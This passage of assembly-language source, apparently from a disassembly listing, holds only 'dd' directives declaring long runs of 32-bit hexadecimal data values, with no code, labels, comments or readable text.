		dd 41EEBE1h, 2AD91A59h,	0DF9242AEh, 0B7C0C82Bh,	989528F5h
		dd 823065F6h, 10C6DFh, 81CFBE3h, 5B1BF9C3h, 0DCBB2A0Bh
		dd 105C7E82h, 0E9610C31h, 183331ADh, 590DE59Dh,	4E704985h
		dd 0F3904450h, 0C0561225h, 69D78011h, 98D50C9Ch, 0AF3107h
		dd 19D58F88h, 0DB8D755Eh, 2D154504h, 1CB93B96h,	6AD62525h
		dd 69A364E0h, 0B8AE2823h, 5BA144BEh, 16C85997h,	0D8B7EC53h
		dd 0D214B5C0h, 4B30B627h, 0FEC9DDF8h, 3B113571h, 0A1EF885Eh
		dd 0F5AACC00h, 87BF8502h, 15F98F7h, 0F9DDFAFDh,	302BF22Dh
		dd 69C02A89h, 0B4B0ACBBh, 4F3A9774h, 95890F40h,	0BAF298A6h
		dd 4798D04Bh, 0F88C4148h, 3827DD1Fh, 654C7C42h,	0BC15BD6Ah
		dd 55060E27h, 65A43009h, 0C24DB8F6h, 0F610A4B9h, 0E513F4EAh
		dd 30047C42h, 0C183319h, 64951025h, 0FD39E3BDh,	0CA053AB8h
		dd 5776F566h, 5F398FF8h, 0F3B8DE93h, 894B7B40h,	0E5E64895h
		dd 0C9B6A7F0h, 0EB80CF91h, 0A84574CCh, 601B0050h, 5E35B8EAh
		dd 3EFDBF79h, 78BBB300h, 9D565AD2h, 0A937700Eh,	0ADDAF5D6h
		dd 0AAB3AD80h, 68022132h, 9780E35h, 33EA7F95h, 0C787EDD5h
		dd 1AD71949h, 489F569Ah, 216909DDh, 27BB7A73h, 0D648D6D9h
		dd 0FE81E9B3h, 1F11A9F6h, 0E53FBF73h, 0BFADC200h, 9C66C33Fh
		dd 0F0D9849Fh, 7E699782h, 5FD4A78Dh, 0A332A55Dh, 95C7C4D7h
		dd 0DE4B0BECh, 85B881ADh, 6D816A4Bh, 0B62E6F3Ah, 131A9433h
		dd 64EB0B15h, 0EF97C558h, 0B200B18Ah, 0A72CEA8Ch, 8801E52Eh
		dd 0CF176445h, 342E3423h, 199A0593h, 808AED14h,	0CA603BB5h
		dd 0C5C304B4h, 0A814893Fh, 0FF5F0BEFh, 0DCF656E1h, 3E2CB300h
		dd 0B48FE166h, 62812576h, 9E00ECD1h, 3F8876Ah, 0DAC80023h
		dd 0B8A45F76h, 740284DFh, 665657BDh, 35706009h,	0E4679504h
		dd 195F01Ah, 0A326E3A8h, 0F9B9282Eh, 8D6112A2h,	0BD282E71h
		dd 8F248AB2h, 7A530C32h, 5F15403Dh, 0C811606Bh,	0BFD98C37h
		dd 65009837h, 0A618536Eh, 2A8C0572h, 0FB605566h, 0C91038F6h
		dd 0C0364C0Ah, 7354D72Dh, 6517014Ah, 0B5E1CCE6h, 8EF8D0AFh
		dd 5F2B7B0Ah, 0C960EB61h, 33E269Ah, 7F8229B8h, 5A104145h
		dd 5B2530F1h, 2398FDC2h, 1100934Eh, 3D8EC241h, 9CA99A7h
		dd 0B261F503h, 2AE10B7Ah, 4B127ABAh, 0E818DEA2h, 74A71B07h
		dd 7068B604h, 31D27357h, 445F051Fh, 0AC0D98ECh,	9857C965h
		dd 1827C4h, 54358E4Ah, 2E896999h, 0C3A9575Eh, 4A27E7D2h
		dd 68A0C5B6h, 401723FBh, 0B0785F7h, 0DF490F50h,	6B006814h
		dd 8FE45B7Dh, 1BC6CF1h,	8DA7E10Eh, 2A633085h, 40BF8BA4h
		dd 0ED0168FEh, 507F26E4h, 0B43EEAB3h, 0E73D1248h, 68CDDF39h
		dd 1339C27Eh, 0BFE0C45Ch, 9728018Dh, 0F52F63D8h, 0A4A6530Ch
		dd 0DDE90ACFh, 67D42DDDh, 759C17DEh, 5898C193h,	0E4172E38h
		dd 37BAFh, 0ED26EB7Fh, 481F9F3h, 6EAFD1D7h, 0D3DCB82Ch
		dd 1D9D6604h, 3222B117h, 9FB5123Eh, 4137BBBh, 5B095CFh
		dd 9D2DD8FAh, 0C1C8015Eh, 0BF6B7DD3h, 0CAD0A45Bh, 407722Ch
		dd 0F0C3E92h, 0BB44E48Dh, 5D3C5809h, 0F635F733h, 96651A94h
		dd 18EB4B00h, 25CF33CEh, 64D6DC8Ah, 0C366ED6Bh,	61A86893h
		dd 2908D84Ch, 1618E1BDh, 437EE196h, 0BBBB9E57h,	7E6C27A0h
		dd 75F40997h, 0F8BE84BDh, 0BD8C404h, 0FC80C1D6h, 0BFFCBCh
		dd 0B95F687Eh, 0FEB72EDAh, 0A0129192h, 78BCC5BAh, 0E1801412h
		dd 97A72EFDh, 0E4D674B0h, 0BB93981Eh, 13B49A42h, 6942DD50h
		dd 0C44F9A74h, 0D9EB126Eh, 6ADB6E94h, 0BA5B0B80h, 2F0649B3h
		dd 160F0AA3h, 0CAEC2760h, 813FB44Ch, 61CC93CFh,	33C90204h
		dd 0C2F4C4B8h, 53240523h, 955B2BB0h, 394CB094h,	0C566A05Ch
		dd 1C970064h, 848A2104h, 20212B1h, 0E9067DCCh, 0F60F543Bh
		dd 0E867AE05h, 3BEA16DAh
		dd 6ABAA4D2h, 76007AA6h, 30AB7891h, 90E54A29h, 0BADE0963h
		dd 38F73A1Eh, 8001C127h, 0FE0BE781h, 0D37F40ABh, 312C70C8h
		dd 1915B516h, 85602CFEh, 5B95E674h, 4D91D07Dh, 71782702h
		dd 4584EBD5h, 606BBB27h, 8012B757h, 6D49B13Dh, 0F207B45Bh
		dd 9529BC91h, 4BA551B9h, 3049C222h, 0E0C98103h,	4B5D223Dh
		dd 0FE09D61h, 8BC5C074h, 1682FF72h, 4D6CE05h, 0B9074938h
		dd 0BDB7D2E2h, 3050DF17h, 878261BBh, 0D87083E0h, 8164EA73h
		dd 40C4F926h, 1BDB5D85h, 0BF0EF280h, 0D805A596h, 36DECA02h
		dd 31955881h, 4E95BF05h, 520288AEh, 13000EF0h, 4FCA3D83h
		dd 38156Eh, 71E4B594h, 0F85F1169h, 7C615A25h, 1946D697h
		dd 0B4030513h, 814A0F9Dh, 3ED92950h, 0FC424EBDh, 422A99Dh
		dd 0D515BC61h, 50850A94h, 5BCBB61Ah, 518A70B5h,	2CCD034Bh
		dd 3327D378h, 4FDE97D6h, 46B89817h, 53F7F02Fh, 181559B0h
		dd 4B01B867h, 0ADFF85DEh, 13B84Eh, 0E58669ACh, 28FAA690h
		dd 0BD89CD13h, 882A30F5h, 1C4381C0h, 0A05BB693h, 5D2675C1h
		dd 192599C7h, 53A522E5h, 95255082h, 76FDE01h, 2B40D7F9h
		dd 0EBA3177Ah, 6011CCh,	0FFDEA504h, 0E4A9035Eh,	81703565h
		dd 7908FD02h, 5ECB421Bh, 12D5CBF9h, 0ED4DDD72h,	72D536Bh
		dd 318B99D6h, 7C96FD8Ah, 0F1338024h, 583948h, 2F90A4B7h
		dd 0E8988340h, 15BD504Ah, 16FA205Bh, 8301EFC3h,	42A12A79h
		dd 23789661h, 72182913h, 0E56AB27Ch, 754BA47Eh,	8B50D230h
		dd 0E55FF825h, 0BD782F29h, 7894DB95h, 0E0065984h, 0B185F4CBh
		dd 71BB0EA0h, 9D2508Bh,	0D396B929h, 97EED0B5h, 1B910435h
		dd 0D07D2987h, 28EBD95Fh, 15E27448h, 89382D15h,	0A5F371FCh
		dd 1DC9198Fh, 3C45D671h, 3A73867Eh, 25FCA330h, 0F2C696F8h
		dd 999D2B12h, 0E4C62F49h, 4B410248h, 1C85BD03h,	0FEDAED5Ch
		dd 0E9F8D470h, 0A8B1294Ah, 3149087Bh, 0D0973128h, 4D922C4h
		dd 207E4E95h, 63971A89h, 50DFF2FDh, 783F9363h, 621CCA9Eh
		dd 150069AEh, 0B6785FAh, 11C1259Dh, 0BB1D1CC4h,	73A58905h
		dd 89E57881h, 132D8513h, 235A6020h, 285AEDABh, 3D9438CCh
		dd 0C685C14Bh, 36E0A9F6h, 0E002D1E7h, 61FE7BD3h, 9CF965h
		dd 0B3AC7D82h, 8B3AA51Bh, 69A19C92h, 0BB11BBA8h, 56C87Eh
		dd 0E5882AF2h, 0EE7C25F2h, 0CFC700FCh, 0AE4B8D3h, 126AFE3Ah
		dd 52252948h, 0E89A9521h, 0DBAA343h, 0F778BAD5h, 319E69C3h
		dd 89BBD14Ah, 99C12FF9h, 6CCCAFC4h, 50F92DDBh, 9D5974D4h
		dd 6261E32Eh, 0D51BC1DEh, 15915F9Fh, 0A237AB85h, 5CDC0015h
		dd 86F23323h, 6EC63878h, 6FBE0680h, 2490D367h, 8C505832h
		dd 0F1B8F716h, 0E2000D3Dh, 0BC2AA296h, 1D6640ACh, 4B54E43h
		dd 0F4A9CE6Eh, 169C85EDh, 3826E668h, 0F6CB74AFh, 0DE3BBE25h
		dd 0EADF3B08h, 1454661h, 92E95B00h, 20ED1C97h, 0F2F2364h
		dd 53603A8Eh, 2E405137h, 4BEDCC74h, 0EE0003A8h,	4BCD8277h
		dd 2DF57392h, 0A6D45690h, 5F08285Bh, 0A8822CCh,	61516071h
		dd 70740785h, 0A7E78090h, 0B298FC4Bh, 20679060h, 0E82A1F11h
		dd 8400540Fh, 0E637918Fh, 0B97424Eh, 760CD07Ah,	0F5C6097Fh
		dd 0ED90513Ah, 0B20022F7h, 0EE410557h, 253FA0A5h, 0B15B0FBAh
		dd 5181859h, 911EE216h,	419DE704h, 9EFA9094h, 0E7888F54h
		dd 75B297E2h, 0D5DF4121h, 0B508206Dh, 0E1821EEDh, 5C23DED7h
		dd 5634C48Dh, 7F78BD30h, 0CC9300BBh, 0DCE35A9Ch, 7592B02Ah
		dd 9A15704h, 30ABF9BDh,	2B2D9596h, 4A71E480h, 0FDD3FBB3h
		dd 0F95F2505h, 195C82C2h, 0B8E5DE41h, 3B94E8h, 884DF861h
		dd 0D0783BDh, 807CB403h, 165B99C7h, 0A92275D0h,	18BA97E0h
		dd 0D781DB7Ah, 653F2A0Bh, 0F88D0419h, 1296EDAAh, 30AFE2F7h
		dd 81C82BB7h, 0E61DEB7Eh, 0CF8072E8h, 34707302h, 53D1028Bh
		dd 0A9E95FF9h, 6DB53481h, 683050Dh, 54918C4Ch, 0DD090C8Dh
		dd 45302B86h, 956181C3h, 158D9268h, 0A24B3443h,	0CD9700B5h
		dd 0CFC3368Eh, 391970FFh, 683BF965h, 0E4E8EB12h, 31881485h
		dd 0EEF95485h, 0C8574BE9h, 109FB0Ah, 5629C1BDh,	0BDFEEA4h
		dd 0B2F52CC5h, 220D7AFFh, 0E6E812E8h, 5ADC7301h, 1A0C7A3h
		dd 0E3D856D5h, 0F52E0CF7h, 7DCC3AAEh, 0B55B1940h, 0E690126Eh
		dd 9441A41h, 0D9B89525h, 0EC70D84Ah, 0C82F9C41h, 0DB015657h
		dd 724615F4h, 8C3A6A6Ch, 8600FF83h, 630F9D23h, 2D5C380Dh
		dd 205BD4BFh, 410B6DA7h, 6BF1A579h, 0CDB92644h,	0EFBFACD0h
		dd 208825B5h, 377D5BC2h, 9D900A8h, 251C06ECh, 50BFC48h
		dd 0C02B42ACh, 94E05CB6h, 3A008272h, 17EDC206h,	750F79DEh
		dd 57B89780h, 8E90BB61h, 14B8A0Eh, 98EE80D3h, 0FCD346Dh
		dd 5FB7243Dh, 4BB98D85h, 0E330BAE5h, 402FD981h,	131A54D4h
		dd 0B39212FAh, 2FD6D866h, 78849BBDh, 680033E1h,	0C78163E7h
		dd 12700214h, 0E2DA8B20h, 11E35A45h, 90D43C00h,	9CC110FFh
		dd 0EC043900h, 6D150533h, 76DC1F6Fh, 9E54A7F9h,	56DFE9CEh
		dd 1646D6AFh, 7F39790Bh, 915D0B56h, 0E358801Bh,	0E96C05Ah
		dd 0BFDE9CB0h, 7E81CA82h, 33B7D5h, 4503DA8Fh, 6198AB8Dh
		dd 77C4F54Ah, 0ACA243ACh, 719D3320h, 879FB32Fh,	709B4722h
		dd 0A78C8511h, 0EA0CE00h, 2B5612FDh, 5FD92D8Bh,	1D51FE53h
		dd 1E00A418h, 234C1263h, 4C6DDEA3h, 8711A92Ah, 40F82F01h
		dd 9F7F2C3Ch, 1C717853h, 3001E18h, 9E3C1DE9h, 2F1324D9h
		dd 0EF37E1FFh, 0F2A20E02h, 9F87407Fh, 31DF2D0Bh, 0B807D804h
		dd 3C2E166h, 80E49E6Ah,	85B5179Ah, 63900BA8h, 776F85Ch
		dd 9886525h, 0A1FE03A9h, 7AF195F4h, 0E82D3F02h,	51A85CE0h
		dd 0EF5FD242h, 0E82740E6h, 6D2D7F9Ah, 0DE01D601h, 0CCB66000h
		dd 16A4ED51h, 8B3759Eh,	1EE1BD2Bh, 2005D027h, 0F925310Dh
		dd 57E9C261h, 1A003BB7h, 64826CCFh, 86CA24DAh, 52DF1E4Bh
		dd 3FB1E153h, 0AB00856Eh, 54BF5795h, 395B2240h,	0AE9F31ACh
		dd 99316742h, 8AE2F554h, 62795CF8h, 1A748C0Fh, 0DDA85192h
		dd 9BA28180h, 3B0028D8h, 3F909495h, 0EB5F5BAAh,	84112160h
		dd 1F350944h, 41E99F62h, 6EEBA7DFh, 80E13B51h, 0BE67346Eh
		dd 9909531h, 912BCD20h,	989027CCh, 0C212050Eh, 8E035C2Ah
		dd 0F8BBADC6h, 3D681485h, 225548Ch, 0FABE32D0h,	96577307h
		dd 0C3EFE0AEh, 956BED74h, 9D099518h, 3D4DD2B5h,	994BEB80h
		dd 9652083h, 4E61E980h,	0A57FF701h, 2B8D8DBFh, 9D0B8530h
		dd 0AD075F91h, 0DD88D821h, 5E3A971Dh, 8100CE7Ch, 629978EBh
		dd 48309740h, 79B401BDh, 5AE97C25h, 0BCDCC4FCh,	0B67D02B2h
		dd 135C4607h, 0DD372Fh,	9D75EE11h, 7001E121h, 0F5BBB956h
		dd 36307A29h, 7812D95h,	34543510h, 5C2781BEh, 1C59691Bh
		dd 692093A0h, 0D9680113h, 50C47735h, 44FAB060h,	5A61A45Ch
		dd 267AE05Bh, 3BA7CE12h, 0BDE3CCAEh, 7508ED25h,	1613AE37h
		dd 9AFDE360h, 47109F72h, 0C6FA21E8h, 8F149C04h,	0EAC7EDA1h
		dd 741432A5h, 0A87B4F57h, 0D72E100h, 0A5A902F1h, 0EBABA119h
		dd 7526DA56h, 0D2BFFC07h, 611BB276h, 55165479h,	94BD2CAAh
		dd 0A16BE75h, 6DA9AC29h, 128C16ECh, 0B25C97A4h,	3AF99607h
		dd 6BC7B49h, 6201B4Eh, 0C039E037h, 729BAC1Ch, 4939AB6Fh
		dd 0B2518297h, 0DD9D03A4h, 0E95F0AA1h, 0BB398120h, 393255CDh
		dd 0E4383A2Eh, 29ED4E81h, 1C507A3Bh, 2B8B9159h,	8ACC827Dh
		dd 491EDE02h, 28420959h
		dd 59DF0804h, 0F076F61Bh, 0D1D700F4h, 29A1E670h, 0A4ED585h
		dd 15BCE8FDh, 4F3F048Ch, 0AD5BF853h, 0A5A6D2F4h, 83A65BA0h
		dd 0F6CCE650h, 284B1312h, 393427C8h, 980C9F7h, 7BB38C31h
		dd 6C005E9Eh, 4ADC0323h, 4A75415Ah, 6653CCA6h, 4EA2BB3Dh
		dd 6BD6E5FDh, 0BB1901E3h, 65F4EBA5h, 973655D0h,	0EE33FF81h
		dd 4886F850h, 0A4227226h, 0FEDE6AA4h, 0FDA3F93h, 5C8F0D8h
		dd 85FD1381h, 49210D20h, 5A0F78CEh, 8402205Bh, 0A801724Ah
		dd 9A766FC7h, 9C2B6DBDh, 1773C305h, 554EC48Ch, 92121321h
		dd 2A27B1AEh, 1C23F66Bh, 0FC86FE00h, 1EC6F273h,	0EECEDB80h
		dd 0D550D8Ch, 25093CBDh, 7936732Dh, 4FD51815h, 1EFCB08Dh
		dd 60273A97h, 2423DFE7h, 0A5B70DBDh, 1464116Dh,	0D98ACF60h
		dd 57100997h, 630065D1h, 1FFEF111h, 7A9D2D44h, 0F09DB452h
		dd 0F13A953Bh, 0B5501ED3h, 47A801F2h, 29C26B21h, 0AD9CE78Dh
		dd 8C14BCF4h, 82388069h, 4C070DE8h, 5ED7FA1Fh, 23996B24h
		dd 0F550514h, 80E4E282h, 0D8E3F668h, 24810060h,	22B2AFFBh
		dd 6F04B05Fh, 96D32FF9h, 9D1A32E0h, 9A8081F3h, 0A7F7528Ch
		dd 8A563933h, 0CFD9CB80h, 6FBC5B35h, 80A85500h,	50615E6Dh
		dd 157BF0BFh, 0CA962375h, 0BF92984Ah, 0F2A7DA5Ah, 0A17AF65Ah
		dd 0C26B3F06h, 0E4090EEBh, 0C4700DBh, 8BC87A5Fh, 0C5003037h
		dd 0D3D0A74Eh, 34B47F2Bh, 0B93A0F66h, 1ECB4A13h, 505F3A22h
		dd 1757A327h, 741379C0h, 0E84903B2h, 0ED4827Ch,	0AF8572E8h
		dd 4B4F9C4Dh, 0D1C000E8h, 3EDDB169h, 0DE8E2500h, 0FB623912h
		dd 712B287Dh, 16D20B88h, 0A1A95FF5h, 3F284A7Bh,	57566ABDh
		dd 354B4553h, 0D1398837h, 0C7510660h, 117A000Eh, 9580BCAh
		dd 1300A17Dh, 5F321F7Ch, 4A05B529h, 0B4B7FC1Bh,	0EBC2C59Ah
		dd 545CA39Bh, 80102A51h, 0C7953AF7h, 827D0F27h,	5DBAE1A4h
		dd 2BA9BD84h, 292660FAh, 0C302B2F6h, 0CD33346Bh, 0F6425CD2h
		dd 75001A46h, 0C47D2A0Dh, 9794B5h, 0F3A5E9FBh, 20B7BFFFh
		dd 2E35E38Fh, 0A1E1D2F6h, 955BE920h, 2D083FBh, 0D65F0118h
		dd 0F40A3EDh, 0DF091783h, 0B9CDA5BAh, 0D4FD3060h, 626F24D3h
		dd 796B2551h, 4DF3BA05h, 0DC09048h, 0ED50FD3Bh,	0EB82E3Dh
		dd 26723001h, 8C105486h, 8D00F123h, 1A5163F3h, 0F900836Fh
		dd 0CB03205Bh, 2D9C9E09h, 18402C8Ch, 5F80011Dh,	0EDBD120Bh
		dd 481AE319h, 691B14C3h, 328C0988h, 0A9377FABh,	6C00729Dh
		dd 567C11Dh, 0FE7660D1h, 0EB81FFE5h, 0C295390Bh, 892BF570h
		dd 0FB856B02h, 5214A5D5h, 29DE73BEh, 905BAB37h,	0B5AE9D74h
		dd 949B3F33h, 16A764C1h, 9D9720CFh, 719D0A4Bh, 0AB2EC43Eh
		dd 139A4E75h, 0FF2E23C0h, 1E09BBD1h, 7168DE6Eh,	57564479h
		dd 23DF5A8h, 3491BD88h,	97E47F25h, 57255071h, 26465C5Bh
		dd 5BDB5A8Fh, 4A60B150h, 9F62EE20h, 407256F9h, 1632B124h
		dd 5602AC00h, 13AE6C9Bh, 10E92523h, 960832C7h, 0D5BA3132h
		dd 75890207h, 562DD5C4h, 386BF451h, 0C8209ACBh,	0BB01C315h
		dd 8FBC2A6h, 0F7712ABFh, 959AB092h, 0B47B0489h,	136E3CF1h
		dd 2BAFE178h, 0DBAA0935h, 0F6EAD282h, 1BCC4A56h, 15B52909h
		dd 1BF3EEDh, 0B207B112h, 0CF957FD9h, 0FAC445ADh, 0A495604h
		dd 34EE8AEFh, 0D1EE2DF8h, 91F59E0h, 4AE4D8E0h, 0E2DED371h
		dd 0ED281884h, 0EDD49514h, 8050A04Bh, 9E2DE5Eh,	3F484709h
		dd 0DAC05556h, 4EF99D23h, 0EE5BD52Bh, 91EECC2h,	12CDD350h
		dd 12A23D5h, 0E19D31D8h, 5F29080Bh, 0D147C8BDh,	947BB7h
		dd 120A35D5h, 58A28AE9h, 0C19FA078h, 142B49F7h,	33C07BC4h
		dd 4DCC72E6h, 0C73CB401h, 2E7A3DF3h, 0E04028A5h, 0A49522BCh
		dd 0B05310BEh, 4C14CFDAh, 0C88D55E9h, 0BA4CA5D1h, 2B47A1F8h
		dd 147B3A2Dh, 517A4E80h, 0A68553h, 691C6A05h, 881487D6h
		dd 3CBAFA00h, 20BBF06Dh, 0FD465AECh, 0CA93D8FFh, 83F1B894h
		dd 18DB177h, 0CA94FFC6h, 5CAAB925h, 0C865F474h,	0C9EF85D6h
		dd 0CC7F8422h, 0C0BC3662h, 48306910h, 94D2DECh,	48DB5DF1h
		dd 0E6B5A5h, 18ACB4BDh,	4A1D8ED9h, 0D7A545A4h, 421CAB4Ch
		dd 0B905FB93h, 96C810BEh, 0C31252B1h, 4A12FC2Fh, 608DD65Dh
		dd 0FA2F2A87h, 0FCBFF712h, 0AA4BF96Fh, 97016D99h, 8848085Dh
		dd 2B194185h, 8A00017Ah, 4634100Ch, 0FC0995B3h,	79BA19E8h
		dd 0A1B5893Ch, 5DDA3C56h, 0E7245235h, 7C1DDA17h, 29BF0957h
		dd 61CC6A5Ch, 3219258Dh, 46DE0154h, 57340015h, 3F9EB80h
		dd 2DA52DBDh, 76699451h, 0AE02D4EEh, 0B7FC2A62h, 91C8C0B8h
		dd 0A021E984h, 0F36B18D5h, 0CD9AB44Fh, 8128D2C4h, 6E0E9D05h
		dd 0D317267Ah, 0A2AC44A0h, 0A2E9AC6Ch, 8D3D7D60h, 62AD74AFh
		dd 0EF56F88Ah, 0CD0B9248h, 0EAC9542Ch, 1D390B74h, 0CD69C354h
		dd 0B41040F0h, 98FCFC11h, 804AF37Eh, 407E9DCAh,	0EB048104h
		dd 7C3DBAB7h, 4CA17CACh, 80E93904h, 72970A7Bh, 1D070713h
		dd 90B70E7Ah, 0A7B5E98Bh, 0E2170104h, 47E87048h, 51A34C80h
		dd 0CA12B5DAh, 7EB25BF7h, 0BB93E388h, 0CC4B702h, 54AFEA60h
		dd 3E4D2D31h, 0A21491C0h, 8E4812B0h, 392BB10Bh,	5E30B9BEh
		dd 0D1DF4AB7h, 6B011E26h, 0FC018A7Ah, 0A598767Dh, 0CFF4E62Ah
		dd 48B72C12h, 0E3111150h, 21EC9D6Ah, 9FD46F0Dh,	0B34280AEh
		dd 315C0FC3h, 0B24F7AE7h, 80ED54A1h, 0F05BF66Bh, 343DBB95h
		dd 0AEE435AFh, 0E5C01C9Bh, 9E82363h, 806A8D48h,	70307668h
		dd 0EE92254h, 8096AE3Eh, 0E5131816h, 0C74959Bh,	668B892Ch
		dd 33EC24EAh, 0CB546F26h, 0FC774909h, 0FFFCE9FCh, 553B00D4h
		dd 60B1B2ECh, 9F02C781h, 614945B5h, 0F96DF789h,	7C201945h
		dd 3E34C0C8h, 0E91228B6h, 56164AF1h, 2F3108E9h,	81B15F12h
		dd 0B0BBF72Fh, 0FE52BDh, 0B65D50FAh, 4BDB8027h,	660EBB04h
		dd 0A6AC1505h, 273A7B5Ah, 0F7F492D0h, 5B07FB14h, 0EBFFD1ACh
		dd 172CFE99h, 0A87E94CDh, 489E5ED8h, 97BB49DCh,	559D6A02h
		dd 0F67F156h, 0B3330EABh, 0F5246CA3h, 0BDDDE99Fh, 0A98A00D4h
		dd 7E0D017Dh, 75204D4Ah, 985FFAh, 0BADA3444h, 0F08DC89Ch
		dd 503896EEh, 0A33B8EBBh, 0FB6F753h, 0A53A32E1h, 0DFEE4A08h
		dd 5700DD3Dh, 1035627Bh, 682A0267h, 9E4A24B8h, 451F9057h
		dd 0B2DF03B6h, 0B7702072h, 3E0FB9C4h, 61D41247h, 72B85FE9h
		dd 14E2AB00h, 703FB6E5h, 0CD2FF9E4h, 2A7A7120h,	0E67B6CF1h
		dd 4C18B2ADh, 1BD304B4h, 816CBE85h, 720859ADh, 13EB4A39h
		dd 69F6F36h, 0BF78C522h, 0AB2D1D92h, 1B258297h,	827F45D0h
		dd 0D7D883F5h, 61DAEB38h, 603795h, 58689F1h, 0D710710Ah
		dd 0DB094788h, 3D71F890h, 290BA368h, 7103541Ch,	5027933Dh
		dd 0AC9666FCh, 0C3FC0074h, 8B8762CDh, 3D7095DEh, 0BD954170h
		dd 2DE7015Dh, 2FAF37A0h, 7EE74F1Dh, 3ACA7729h, 297F95D6h
		dd 25A9F93Bh, 2E0217D3h, 0DBCA2C5Fh, 0D0B67108h, 0B1E9580h
		dd 58548F5Dh, 9B112F7h,	78E353ACh, 0CEF6604Eh, 0B50EE8F0h
		dd 187263Fh, 83019BF1h,	2B22DC8Ah, 815B44CCh, 55F0DF04h
		dd 61AD01FAh, 28CABB82h, 85EAF95Dh, 0B41F51BDh,	1125EBF0h
		dd 5F5F6232h, 0AED1DE53h, 0BD68E0C0h, 7C95EF50h, 0BE8CECE6h
		dd 0B7966E09h, 7730D037h, 56BCC1F9h, 0E5592240h, 99F26BFEh
		dd 4D09A8A8h, 8213CEB8h, 772A0941h, 109EECEh, 5B18C9BDh
		dd 0FB5EAFDCh, 0AB82BC68h, 7761C79Dh, 1764B6CDh, 9560EC60h
		dd 82F96B5Ah, 0AC5BFA89h
		dd 0F4191A59h, 8509BE7Ch, 7D4D8363h, 0FB007853h, 3D2559BBh
		dd 0BE8B9537h, 13143FB7h, 0C9C70BE1h, 0C45953h,	7D6F746Eh
		dd 2801E237h, 7C38AD85h, 0B2DC49F2h, 0B32E09D5h, 0E2575B57h
		dd 316D7DB1h, 75D182C0h, 20F02B6h, 0D83A94A7h, 646A0C5Ch
		dd 0FF4CB04h, 1D2E9ACh,	87719FD7h, 5778A546h, 210D2A30h
		dd 897BDBB5h, 0AD542CD9h, 0F99D89E1h, 17961D24h, 35C38B60h
		dd 4A1000C1h, 648DF453h, 0D090DF01h, 2C04F942h,	0E3E67DCEh
		dd 31A2C700h, 32781217h, 0F35304D7h, 0F861595Ah, 0CD487D2Bh
		dd 42EB0288h, 0B068F732h, 6219954Fh, 1C10DA6h, 4A86CED7h
		dd 14AB8857h, 5A65C301h, 0F88B5FB2h, 588A282Bh,	7459578Ah
		dd 32FBD992h, 3D5C888Ah, 0C4AB50h, 0D2DC6B4Bh, 9705A595h
		dd 0CC1ED701h, 0AEA485B9h, 4F2DA66Fh, 41879CDAh, 0EDB1937Eh
		dd 2B8D89E9h, 2B52DBA4h, 3F8B5BF5h, 9515EEF6h, 4477A8BAh
		dd 0A0D20313h, 0B1D03522h, 6DEA4FE0h, 0A584BE09h, 16F1785Eh
		dd 0BE5F6054h, 4F89B42Ah, 1C59A45Bh, 8C006218h,	31505EBAh
		dd 95AB1A55h, 3A45AA94h, 30D3BE85h, 9B75FFF2h, 0A536AFBh
		dd 0A7694337h, 0E830D909h, 951B017Ah, 0B72F0564h, 0CB8CF902h
		dd 13D3BF2Fh, 59CEFC9Fh, 893BBD5Dh, 20715542h, 8589DA77h
		dd 0FBAF75F1h, 0D76EFAEDh, 80A0201Ch, 0B8E8159Eh, 0F255DA3h
		dd 502C5C8Ch, 0DF058ED4h, 8815C9Ah, 770E40B0h, 23EA6EF0h
		dd 14A60BD3h, 0BD22C1F6h, 0C0CCFFF3h, 0AB40474Ch, 0D3BDBAB8h
		dd 3CE46B15h, 0C22B5819h, 9F44F01Ah, 4D38A902h,	5427E25Ah
		dd 0B700BB93h, 0D0033C50h, 45EC3A81h, 918419C9h, 10C12D32h
		dd 92D9CF97h, 0A082C8D5h, 3011A95h, 4FA73C40h, 208D6902h
		dd 589F8B07h, 81346D12h, 61A77D05h, 0D1030C1Ch,	1045208Dh
		dd 8808ED4Dh, 0E055D12h, 6DB48F64h, 4C4830Bh, 511607E4h
		dd 5FF4C8Bh, 18B0A986h,	3359B514h, 7AC3C024h, 991B2509h
		dd 0C6102456h, 65BA2985h, 0D2684702h, 40D49AA7h, 960919DFh
		dd 71208862h, 16D0243Eh, 82060834h, 38EB1211h, 6E8B8DD3h
		dd 0DACDAB41h, 22F875E4h, 1CF2A5h, 0A9BA09DFh, 4C94AF4Dh
		dd 0F24E65E2h, 7DBD1533h, 69AA51A2h, 6B281CF9h,	0FEB77D25h
		dd 6EC04207h, 0FA40A002h, 0B42EE39Ah, 0C3F2B87Dh, 0C5807391h
		dd 0DBED9E28h, 37D34BE5h, 299E086Ah, 4111618Dh,	0EC2E2331h
		dd 8F0B8BECh, 7984F0AFh, 0E8BEDD1Ah, 360005FAh,	34644448h
		dd 1666B6BAh, 132E5AE9h, 0A03AAC2Eh, 0B33A11h, 0D2E5F8C9h
		dd 45AFA4E4h, 0B6FBDA9Fh, 0B6182F4Bh, 0EB00C08Bh, 0CA5415F4h
		dd 0EE10Fh, 3EDDB8A4h, 62215DB5h, 83C5B700h, 0EA4C6CECh
		dd 0E4F006Fh, 0C629DEA5h, 6D5171ACh, 7060E58Dh,	0F6000423h
		dd 91210BB1h, 0E070266h, 0AEEC6727h, 0A4E0B5A0h, 5700566Bh
		dd 0E7957420h, 1C4B3h, 97A5FF70h, 1FF2980Dh, 0A63CDB00h
		dd 83476D7Dh, 937F0ED2h, 0FA60759Fh, 9B2EAB55h,	65D15Ch
		dd 14493EA3h, 79E5A3Bh,	53AE0D31h, 135FD0ECh, 7D01F38Eh
		dd 23B16198h, 0D2D0FA76h, 0E817009Eh, 0FD80C795h, 78339AF6h
		dd 10B08F5h, 95E03821h,	0D03A5D5Bh, 1C3D8417h, 0DBFD81D8h
		dd 0B2DFC8D2h, 91F72881h, 0F8555D30h, 0FB77BA46h, 0AA081666h
		dd 0F28E221h, 3B73615Dh, 0C06D9725h, 0FB2480D8h, 0B79D9F00h
		dd 0B5041B99h, 4F981878h, 34BE38D3h, 2095BB36h,	6FB17849h
		dd 0E90F088Fh, 387FA200h, 710030B4h, 2E92EEA0h,	39B9E26h
		dd 4F65021h, 403DBE67h,	594A8C3Ch, 0F249D5h, 5BEABAC5h
		dd 53B51BC2h, 0E608DA66h, 0CD150021h, 23031FBAh, 98C0A790h
		dd 0E7674EECh, 0D8170211h, 0FBC0B4B7h, 8C618890h, 3A11E860h
		dd 0E4EB7592h, 6B880051h, 0CA57C6EEh, 5D07F376h, 0C18DB5CBh
		dd 3119B1F0h, 55746Ch, 3FD69995h, 1403BD88h, 0F3C4EC00h
		dd 9A6CEA78h, 77BB000Dh, 0A84CD6DBh, 0C001C93Bh, 0D3983F67h
